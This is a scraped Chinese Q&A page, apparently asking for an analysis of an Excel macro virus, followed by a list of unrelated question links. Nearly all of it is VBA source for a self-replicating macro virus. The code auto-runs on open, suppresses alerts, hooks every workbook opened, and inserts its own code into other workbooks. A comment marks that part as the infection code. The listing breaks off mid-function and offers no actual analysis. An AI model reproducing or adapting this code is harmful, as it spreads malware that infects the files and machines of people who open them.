'*****************************************************************
'本段代码在Excel打开时候就会运行代码 两个子过程都会运行
'*****************************************************************
Public WithEvents xx As Application
Private Sub Workbook_open() '打开excel即执行文件
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what '调用do_what方法
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook) '定义wb为workbook类型
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _ 'AddFromGuid 方法可搜寻注册表 来找寻要添加的引用。GUID 可以是类型库、控件、类标识符等。
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb '此处copystart为 ToDOLE模块定义的函数
Application.ScreenUpdating = True
End Sub
'*******************************************************************************************
Private Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Call delete_this_wk
Call copytoworkbook
If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
ThisWorkbook.Save
Application.ScreenUpdating = True
End If
End Sub
'病毒的感染部分代码
Private Sub copytoworkbook()
Const DQUOTE = """"
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call do_what"
.InsertLines 7, "End Sub"
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 9, "On Error Resume Next"
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 12, "Major:=5, Minor:=3"
.InsertLines 13, "Application.ScreenUpdating = False"
.InsertLines 14, "Application.DisplayAlerts = False"
.InsertLines 15, "copystart wb"
.InsertLines 16, "Application.ScreenUpdating = True"
.InsertLines 17, "End Sub"
End With
End Sub
Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
.DeleteLines 1, .CountOfLines
End With
End Sub
Function do_what()
If ThisWorkbook.Path <> Application.StartupPath Then
RestoreAfterOpen '调用RestoreAfterOpen函数
Call OpenDoor '调用OpenDoor
详细解决方案
一段宏病毒代码分析,一行想合理解决方案
热度:8546 发布时间:2013-02-26 00:00:00.0
相关解决方案
- xml/xslt 变量自增。解决方案
- DB2 调用java自定义方法报错,请大牛帮忙~解决方案
- 关于request.getParameterValues()解决方案
- 一个JSP页面,在NETBEANS里报错!解决方案
- WEB环境javamail取不到pop3邮件,解决方案
- 急来者有分,晚了就没了!解决方案
- disable在IE8中可以接收焦点了?解决方案
- 求网页采集器的正则表达式。解决方案
- 关于FckEdit。解决方案
- 在Struts2 如果有多个拦截器栈顺序写错会有什么不同?解决方案
- servlet+jquery1.4.2(ajax error?)解决方案
- 关于el 《c:if》。解决方案
- jsp、taglib、velocity、freemarker等都过时了吗?解决方案
- 有开发过CA认证的朋友,帮个忙!解决方案
- com.microsoft.sqlserver.jdbc.SQLServerException: 列名 n_id 无效。解决方案
- java 缓冲区读写操作,求解?解决方案
- EXTJS中treepanel树内部机制?解决方案
- 一个数学题,求个算法。解决方案
- java 大文件上传?解决方案
- 从JSP中得到访问者的真实IP(很急)!解决方案
- 高分求解!解决方案
- java可以跟PHP对接吗?解决方案
- 有什么办法在JSP页面在不使用<%%>情况下 使用数学函数Math.floor()解决方案
- 在JSP页面调用JavaBean,出错!初学!求指导!解决方案
- 简单的更改记录的语句?解决方案
- JS方法内取的值是false,给方法传递的值却是正确的,请高手指教。解决方案
- 求教各位大神,初学JSP看什么书比较好呢?新一点的。解决方案
- java调用so,解决方案
- MyEclipse怎样运行applet程序?解决方案
- JPA到底是神马?解决方案